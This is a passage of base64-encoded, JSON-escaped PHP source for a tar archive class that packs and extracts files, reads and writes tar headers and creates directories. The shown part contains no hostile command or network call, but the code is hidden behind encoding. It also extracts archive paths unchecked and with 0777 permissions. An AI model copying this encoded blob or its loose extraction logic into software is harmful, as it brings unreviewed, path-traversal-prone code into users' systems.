XHR9XHJcblx0XHRcdH1cclxuXHRcdFx0ZWxzZWlmICgoc3Vic3RyKCRmaWxlTmFtZSwgLTIpID09ICdneicpIE9SIChzdWJzdHIoJGZpbGVOYW1lLCAtMykgPT0gJ3RneicpKSAkdGhpcy0+aXNHemlwcGVkID0gdHJ1ZTtcclxuXHRcdH0gXHJcblx0XHQkcmVzdWx0ID0gdHJ1ZTtcclxuXHRcdGlmICgkdGhpcy0+aXNHemlwcGVkKSAkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJGZpbGVOYW1lLCAncmInKTtcclxuXHRcdGVsc2UgJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJGZpbGVOYW1lLCAncmInKTtcclxuXHRcdGlmICghJHRoaXMtPnRtcF9maWxlKXtcclxuXHRcdFx0JHRoaXMtPmVycm9yc1tdID0gJGZpbGVOYW1lLicgJy5fXygnaXMgbm90IHJlYWRhYmxlJyk7XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHRcdCRyZXN1bHQgPSAkdGhpcy0+dW5wYWNrRmlsZUFycmF5KCRwYXRoKTtcclxuXHRcdFx0JHRoaXMtPmNsb3NlVG1wRmlsZSgpO1xyXG5cdFx0cmV0dXJuICRyZXN1bHQ7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiBzaG93RXJyb3JzXHQoJG1lc3NhZ2UgPSAnJykge1xyXG5cdFx0JEVycm9ycyA9ICR0aGlzLT5lcnJvcnM7XHJcblx0XHRpZihjb3VudCgkRXJyb3JzKT4wKSB7XHJcblx0XHRpZiAoIWVtcHR5KCRtZXNzYWdlKSkgJG1lc3NhZ2UgPSAnICgnLiRtZXNzYWdlLicpJztcclxuXHRcdFx0JG1lc3NhZ2UgPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4kbWVzc2FnZS4nOiA8YnJcLz4nO1xyXG5cdFx0XHRmb3JlYWNoICgkRXJyb3JzIGFzICR2YWx1ZSlcclxuXHRcdFx0XHQkbWVzc2FnZSAuPSAkdmFsdWUuJzxiclwvPic7XHJcblx0XHRcdHJldHVybiAkbWVzc2FnZTtcdFxyXG5cdFx0fSBlbHNlIHJldHVybiAnJztcclxuXHRcdFxyXG5cdH1cclxuXHRcclxuXHRmdW5jdGlvbiBwYWNrRmlsZUFycmF5KCRmaWxlX2FycmF5KXtcclxuXHRcdCRyZXN1bHQgPSB0cnVlO1xyXG5cdFx0aWYgKCEkdGhpcy0+dG1wX2ZpbGUpe1xyXG5cdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnSW52YWxpZCBmaWxlIGRlc2NyaXB0b3InKTtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCFpc19hcnJheSgkZmlsZV9hcnJheSkgfHwgY291bnQoJGZpbGVfYXJyYXkpPD0wKVxyXG4gICAgICAgICAgcmV0dXJuIHRydWU7XHJcblx0XHRmb3IgKCRpID0gMDsgJGk8Y291bnQoJGZpbGVfYXJyYXkpOyAkaSsrKXtcclxuXHRcdFx0JGZpbGVuYW1lID0gJGZpbGVfYXJyYXlbJGldO1xyXG5cdFx0XHRpZiAoJGZpbGVuYW1lID09ICR0aGlzLT5hcmNoaXZlX25hbWUpXHJcblx0XHRcdFx0Y29udGludWU7XHJcblx0XHRcdGlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MClcclxuXHRcdFx0XHRjb250aW51ZTtcclxuXHRcdFx0aWYgKCFmaWxlX2V4aXN0cygkZmlsZW5hbWUpKXtcclxuXHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnTm8gZmlsZScpLicgJy4kZmlsZW5hbWU7XHJcblx0XHRcdFx0Y29udGludWU7XHJcblx0XHRcdH1cclxuXHRcdFx0aWYgKCEkdGhpcy0+dG1wX2ZpbGUpe1xyXG5cdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnSW52YWxpZCBmaWxlIGRlc2NyaXB0b3InKTtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHR9XHJcblx0XHRpZiAoc3RybGVuKCRmaWxlbmFtZSk8PTApe1xyXG5cdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnRmlsZW5hbWUnKS4nICcuX18oJ2lzIGluY29ycmVjdCcpOztcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cdFx0JGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkZmlsZW5hbWUpO1xyXG5cdFx0JGtlZXBfZmlsZW5hbWUgPSAkdGhpcy0+bWFrZUdvb2RQYXRoKCRmaWxlbmFtZSk7XHJcblx0XHRpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXtcclxuXHRcdFx0aWYgKCgkZmlsZSA9IGZvcGVuKCRmaWxlbmFtZSwgJ3JiJykpID09IDApe1xyXG5cdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdNb2RlICcpLl9fKCdpcyBpbmNvcnJlY3QnKTtcclxuXHRcdFx0fVxyXG5cdFx0XHRcdGlmKCgkdGhpcy0+ZmlsZV9wb3MgPT0gMCkpe1xyXG5cdFx0XHRcdFx0aWYoISR0aGlzLT53cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKSlcclxuXHRcdFx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHR3aGlsZSAoKCRidWZmZXIgPSBmcmVhZCgkZmlsZSwgNTEyKSkgIT0gJycpe1xyXG5cdFx0XHRcdFx0JGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7XHJcblx0XHRcdFx0XHQkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRmY2xvc2UoJGZpbGUpO1xyXG5cdFx0fVx0ZWxzZSAkdGhpcy0+d3JpdGVIZWFkZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSk7XHJcblx0XHRcdGlmIChAaXNfZGlyKCRmaWxlbmFtZSkpe1xyXG5cdFx0XHRcdGlmICghKCRoYW5kbGUgPSBvcGVuZGlyKCRmaWxlbmFtZSkpKXtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdFcnJvcicpLic6ICcuX18oJ0RpcmVjdG9yeSAnKS4kZmlsZW5hbWUuX18oJ2lzIG5vdCByZWFkYWJsZScpO1xyXG5cdFx0XHRcdFx0Y29udGludWU7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdHdoaWxlIChmYWxzZSAhPT0gKCRkaXIgPSByZWFkZGlyKCRoYW5kbGUpKSl7XHJcblx0XHRcdFx0XHRpZiAoJGRpciE9Jy4nICYmICRkaXIhPScuLicpe1xyXG5cdFx0XHRcdFx0XHQkZmlsZV9hcnJheV90bXAgPSBhcnJheSgpO1xyXG5cdFx0XHRcdFx0XHRpZiAoJGZpbGVuYW1lICE9ICcuJylcclxuXHRcdFx0XHRcdFx0XHQkZmlsZV9hcnJheV90bXBbXSA9ICRmaWxlbmFtZS4nXC8nLiRkaXI7XHJcblx0XHRcdFx0XHRcdGVsc2VcclxuXHRcdFx0XHRcdFx0XHQkZmlsZV9hcnJheV90bXBbXSA9ICRkaXI7XHJcblxyXG5cdFx0XHRcdFx0XHQkcmVzdWx0ID0gJHRoaXMtPnBhY2tGaWxlQXJyYXkoJGZpbGVfYXJyYXlfdG1wKTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0dW5zZXQoJGZpbGVfYXJyYXlfdG1wKTtcclxuXHRcdFx0XHR1bnNldCgkZGlyKTtcclxuXHRcdFx0XHR1bnNldCgkaGFuZGxlKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0cmV0dXJuICRyZXN1bHQ7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiB1bnBhY2tGaWxlQXJyYXkoJHBhdGgpeyBcclxuXHRcdCRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcGF0aCk7XHJcblx0XHRpZiAoJHBhdGggPT0gJydcdHx8IChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICdcLycgJiYgc3Vic3RyKCRwYXRoLCAwLCAzKSAhPSAnLi5cLycgJiYgIXN0cnBvcygkcGF0aCwgJzonKSkpXHQkcGF0aCA9ICcuXC8nLiRwYXRoO1xyXG5cdFx0Y2xlYXJzdGF0Y2FjaGUoKTtcclxuXHRcdHdoaWxlIChzdHJsZW4oJGJpbmFyeURhdGEgPSAkdGhpcy0+cmVhZEJsb2NrKCkpICE9IDApe1xyXG5cdFx0XHRpZiAoISR0aGlzLT5yZWFkSGVhZGVyKCRiaW5hcnlEYXRhLCAkaGVhZGVyKSkgcmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRpZiAoJGhlYWRlclsnZmlsZW5hbWUnXSA9PSAnJykgY29udGludWU7XHJcblx0XHRcdGlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICdMJyl7XHRcdFx0XC9cL3JlYWRpbmcgbG9uZyBoZWFkZXJcclxuXHRcdFx0XHQkZmlsZW5hbWUgPSAnJztcclxuXHRcdFx0XHQkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXVwvNTEyKTtcclxuXHRcdFx0XHRmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKyl7XHJcblx0XHRcdFx0XHQkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTtcclxuXHRcdFx0XHRcdCRmaWxlbmFtZSAuPSAkY29udGVudDtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0aWYgKCgkbGFzcGllY2UgPSAkaGVhZGVyWydzaXplJ10gJSA1MTIpICE9IDApe1xyXG5cdFx0XHRcdFx0JGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7XHJcblx0XHRcdFx0XHQkZmlsZW5hbWUgLj0gc3Vic3RyKCRjb250ZW50LCAwLCAkbGFzcGllY2UpO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHQkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZWFkQmxvY2soKTtcclxuXHRcdFx0XHRpZiAoISR0aGlzLT5yZWFkSGVhZGVyKCRiaW5hcnlEYXRhLCAkaGVhZGVyKSkgcmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRmaWxlbmFtZTtcclxuXHRcdFx0XHRyZXR1cm4gdHJ1ZTtcclxuXHRcdFx0fVxyXG5cdFx0XHRpZiAoKCRwYXRoICE9ICcuXC8nKSAmJiAoJHBhdGggIT0gJ1wvJykpe1xyXG5cdFx0XHRcdHdoaWxlIChzdWJzdHIoJHBhdGgsIC0xKSA9PSAnXC8nKSAkcGF0aCA9IHN1YnN0cigkcGF0aCwgMCwgc3RybGVuKCRwYXRoKS0xKTtcclxuXHRcdFx0XHRpZiAoc3Vic3RyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICdcLycpICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcGF0aC4kaGVhZGVyWydmaWxlbmFtZSddO1xyXG5cdFx0XHRcdGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLidcLycuJGhlYWRlclsnZmlsZW5hbWUnXTtcclxuXHRcdFx0fVxyXG5cdFx0XHRcclxuXHRcdFx0aWYgKGZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKXtcclxuXHRcdFx0XHRpZiAoKEBpc19kaXIoJGhlYWRlclsnZmlsZW5hbWUnXSkpICYmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICcnKSl7XHJcblx0XHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPV9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpLl9fKCcgYXMgZm9sZGVyJyk7XHJcblx0XHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdGlmICgoaXNfZmlsZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKSl7XHJcblx0XHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPV9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7XHJcblx0XHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdGlmICghaXNfd3JpdGVhYmxlKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKXtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7XHJcblx0XHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9IGVsc2VpZiAoKCR0aGlzLT5kaXJDaGVjaygoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScgPyAkaGVhZGVyWydmaWxlbmFtZSddIDogZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkpKSAhPSAxKXtcclxuXHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuX18oJyBmb3IgJykuJGhlYWRlclsnZmlsZW5hbWUnXTtcclxuXHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdGlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1Jyl7XHJcblx0XHRcdFx0aWYgKCFmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSlcdFx0e1xyXG5cdFx0XHRcdFx0aWYgKCFta2RpcigkaGVhZGVyWydmaWxlbmFtZSddLCAwNzc3KSlcdHtcclxuXHRcdFx0XHRcdFx0XHJcblx0XHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddO1xyXG5cdFx0XHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0XHR9IFxyXG5cdFx0XHRcdH1cclxuXHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHRpZiAoKCRkZXN0aW5hdGlvbiA9IGZvcGVuKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICd3YicpKSA9PSAwKSB7XHJcblx0XHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdFx0JGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ11cLzUxMik7XHJcblx0XHRcdFx0XHRmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKykge1xyXG5cdFx0XHRcdFx0XHQkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTtcclxuXHRcdFx0XHRcdFx0ZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsIDUxMik7XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRpZiAoKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCkge1xyXG5cdFx0XHRcdFx0XHQkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTtcclxuXHRcdFx0XHRcdFx0ZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsICgkaGVhZGVyWydzaXplJ10gJSA1MTIpKTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGZjbG9zZSgkZGVzdGluYXRpb24pO1xyXG5cdFx0XHRcdFx0dG91Y2goJGhlYWRlclsnZmlsZW5hbWUnXSwgJGhlYWRlclsndGltZSddKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0Y2xlYXJzdGF0Y2FjaGUoKTtcclxuXHRcdFx0XHRpZiAoZmlsZXNpemUoJGhlYWRlclsnZmlsZW5hbWUnXSkgIT0gJGhlYWRlclsnc2l6ZSddKSB7XHJcblx0XHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnU2l6ZSBvZiBmaWxlJykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uJyAnLl9fKCdpcyBpbmNvcnJlY3QnKTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdFx0aWYgKCgkZmlsZV9kaXIgPSBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSA9PSAkaGVhZGVyWydmaWxlbmFtZSddKSAkZmlsZV9kaXIgPSAnJztcclxuXHRcdFx0aWYgKChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJ1wvJykgJiYgKCRmaWxlX2RpciA9PSAnJykpICRmaWxlX2RpciA9ICdcLyc7XHJcblx0XHRcdCR0aGlzLT5kaXJzW10gPSAkZmlsZV9kaXI7XHJcblx0XHRcdCR0aGlzLT5maWxlc1tdID0gJGhlYWRlclsnZmlsZW5hbWUnXTtcclxuXHRcclxuXHRcdH1cclxuXHRcdHJldHVybiB0cnVlO1xyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gZGlyQ2hlY2soJGRpcil7XHJcblx0XHQkcGFyZW50X2RpciA9IGRpcm5hbWUoJGRpcik7XHJcblxyXG5cdFx0aWYgKChAaXNfZGlyKCRkaXIpKSBvciAoJGRpciA9PSAnJykpXHJcblx0XHRcdHJldHVybiB0cnVlO1xyXG5cclxuXHRcdGlmICgoJHBhcmVudF9kaXIgIT0gJGRpcikgYW5kICgkcGFyZW50X2RpciAhPSAnJykgYW5kICghJHRoaXMtPmRpckNoZWNrKCRwYXJlbnRfZGlyKSkpXHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHJcblx0XHRpZiAoIW1rZGlyKCRkaXIsIDA3NzcpKXtcclxuXHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRkaXI7XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHRcdHJldHVybiB0cnVlO1xyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gcmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJiRoZWFkZXIpe1xyXG5cdFx0aWYgKHN0cmxlbigkYmluYXJ5RGF0YSk9PTApe1xyXG5cdFx0XHQkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7XHJcblx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0fVxyXG5cclxuXHRcdGlmIChzdHJsZW4oJGJpbmFyeURhdGEpICE9IDUxMil7XHJcblx0XHRcdCRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJztcclxuXHRcdFx0JHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHJcblx0XHQkY2hlY2tzdW0gPSAwO1xyXG5cdFx0Zm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkY2hlY2tzdW0rPW9yZChzdWJzdHIoJGJpbmFyeURhdGEsICRpLCAxKSk7XHJcblx0XHRmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykgJGNoZWNrc3VtICs9IG9yZCgnICcpO1xyXG5cdFx0Zm9yICgkaSA9IDE1NjsgJGkgPCA1MTI7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTtcclxuXHJcblx0XHQkdW5wYWNrX2RhdGEgPSB1bnBhY2soJ2ExMDBmaWxlbmFtZVwvYThtb2RlXC9hOHVzZXJfaWRcL2E4Z3JvdXBfaWRcL2ExMnNpemVcL2ExMnRpbWVcL2E4Y2hlY2tzdW1cL2ExdHlwZWZsYWdcL2ExMDBsaW5rXC9hNm1hZ2ljXC9hMnZlcnNpb25cL2EzMnVuYW1lXC9hMzJnbmFtZVwvYThkZXZtYWpvclwvYThkZXZtaW5vcicsICRiaW5hcnlEYXRhKTtcclxuXHJcblx0XHQkaGVhZGVyWydjaGVja3N1bSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydjaGVja3N1bSddKSk7XHJcblx0XHRpZiAoJGhlYWRlclsnY2hlY2tzdW0nXSAhPSAkY2hlY2tzdW0pe1xyXG5cdFx0XHQkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7XHJcblx0XHRcdGlmICgoJGNoZWNrc3VtID09IDI1NikgJiYgKCRoZWFkZXJbJ2NoZWNrc3VtJ10gPT0gMCkpIFx0cmV0dXJuIHRydWU7XHJcblx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdFcnJvciBjaGVja3N1bSBmb3IgZmlsZSAnKS4kdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ107XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHJcblx0XHRpZiAoKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPSAkdW5wYWNrX2RhdGFbJ3R5cGVmbGFnJ10pID09ICc1JylcdCRoZWFkZXJbJ3NpemUnXSA9IDA7XHJcblx0XHQkaGVhZGVyWydmaWxlbmFtZSddID0gdHJpbSgkdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ10pO1xyXG5cdFx0JGhlYWRlclsnbW9kZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydtb2RlJ10pKTtcclxuXHRcdCRoZWFkZXJbJ3VzZXJfaWQnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsndXNlcl9pZCddKSk7XHJcblx0XHQkaGVhZGVyWydncm91cF9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydncm91cF9pZCddKSk7XHJcblx0XHQkaGVhZGVyWydzaXplJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ3NpemUnXSkpO1xyXG5cdFx0JGhlYWRlclsndGltZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd0aW1lJ10pKTtcclxuXHRcdHJldHVybiB0cnVlO1xyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gd3JpdGVIZWFkZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSl7XHJcblx0XHQkcGFja0YgPSAnYTEwMGE4YThhOGExMkExMic7XHJcblx0XHQkcGFja0wgPSAnYTFhMTAwYTZhMmEzMmEzMmE4YThhMTU1YTEyJztcclxuXHRcdGlmIChzdHJsZW4oJGtlZXBfZmlsZW5hbWUpPD0wKSAka2VlcF9maWxlbmFtZSA9ICRmaWxlbmFtZTtcclxuXHRcdCRmaWxlbmFtZV9yZWFkeSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGtlZXBfZmlsZW5hbWUpO1xyXG5cclxuXHRcdGlmIChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSA+IDk5KXtcdFx0XHRcdFx0XHRcdFwvXC93cml0ZSBsb25nIGhlYWRlclxyXG5cdFx0JGRhdGFGaXJzdCA9IHBhY2soJHBhY2tGLCAnLlwvLlwvTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTtcclxuXHRcdCRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAnTCcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpO1xyXG5cclxuICAgICAgICBcL1wvICBDYWxjdWxhdGUgdGhlIGNoZWNrc3VtXHJcblx0XHQkY2hlY2tzdW0gPSAwO1xyXG4gICAgICAgIFwvXC8gIEZpcnN0IHBhcnQgb2YgdGhlIGhlYWRlclxyXG5cdFx0Zm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKVxyXG5cdFx0XHQkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpO1xyXG4gICAgICAgIFwvXC8gIElnbm9yZSB0aGUgY2hlY2tzdW0gdmFsdWUgYW5kIHJlcGxhY2UgaXQgYnkgJyAnIChzcGFjZSlcclxuXHRcdGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKVxyXG5cdFx0XHQkY2hlY2tzdW0gKz0gb3JkKCcgJyk7XHJcbiAgICAgICAgXC9cLyAgTGFzdCBwYXJ0IG9mIHRoZSBoZWFkZXJcclxuXHRcdGZvciAoJGkgPSAxNTYsICRqPTA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKVxyXG5cdFx0XHQkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUxhc3QsICRqLCAxKSk7XHJcbiAgICAgICAgXC9cLyAgV3JpdGUgdGhlIGZpcnN0IDE0OCBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSBhcmNoaXZlXHJcblx0XHQkdGhpcy0+d3JpdGVCbG9jaygkZGF0YUZpcnN0LCAxNDgpO1xyXG4gICAgICAgIFwvXC8gIFdyaXRlIHRoZSBjYWxjdWxhdGVkIGNoZWNrc3VtXHJcblx0XHQkY2hlY2tzdW0gPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRjaGVja3N1bSkpO1xyXG5cdFx0JGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRjaGVja3N1bSk7XHJcblx0XHQkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSwgOCk7XHJcbiAgICAgICAgXC9cLyAgV3JpdGUgdGhlIGxhc3QgMzU2IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmVcclxuXHRcdCR0aGlzLT53cml0ZUJsb2NrKCRkYXRhTGFzdCwgMzU2KTtcclxuXHJcblx0XHQkdG1wX2ZpbGVuYW1lID0gJHRoaXMtPm1ha2VHb29kUGF0aCgkZmlsZW5hbWVfcmVhZHkpO1xyXG5cclxuXHRcdCRpID0gMDtcclxuXHRcdFx0d2hpbGUgKCgkYnVmZmVyID0gc3Vic3RyKCR0bXBfZmlsZW5hbWUsICgoJGkrKykqNTEyKSwgNTEyKSkgIT0gJycpe1xyXG5cdFx0XHRcdCRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpO1xyXG5cdFx0XHRcdCR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTtcclxuXHRcdFx0fVxyXG5cdFx0cmV0dXJuIHRydWU7XHJcblx0XHR9XHJcblx0XHQkZmlsZV9pbmZvID0gc3RhdCgkZmlsZW5hbWUpO1xyXG5cdFx0aWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7XHJcblx0XHRcdCR0eXBlZmxhZyA9ICc1JztcclxuXHRcdFx0JHNpemUgPSBzcHJpbnRmKCclMTFzICcsIERlY09jdCgwKSk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHQkdHlwZWZsYWcgPSAnJztcclxuXHRcdFx0Y2xlYXJzdGF0Y2FjaGUoKTtcclxuXHRcdFx0JHNpemUgPSBzcHJpbnRmKCclMTFzICcsIERlY09jdChmaWxlc2l6ZSgkZmlsZW5hbWUpKSk7XHJcblx0XHR9XHJcblx0XHQkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICRmaWxlbmFtZV9yZWFkeSwgc3ByaW50ZignJTZzICcsIERlY09jdChmaWxlcGVybXMoJGZpbGVuYW1lKSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNF0pKSwgc3ByaW50ZignJTZzICcsIERlY09jdCgkZmlsZV9pbmZvWzVdKSksICRzaXplLCBzcHJpbnRmKCclMTFzJywgRGVjT2N0KGZpbGVtdGltZSgkZmlsZW5hbWUpKSkpO1xyXG5cdFx0JGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICR0eXBlZmxhZywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7XHJcblx0XHQkY2hlY2tzdW0gPSAwO1xyXG5cdFx0Zm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpO1xyXG5cdFx0Zm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspICRjaGVja3N1bSArPSBvcmQoJyAnKTtcclxuXHRcdGZvciAoJGkgPSAxNTYsICRqID0gMDsgJGkgPCA1MTI7ICRpKyss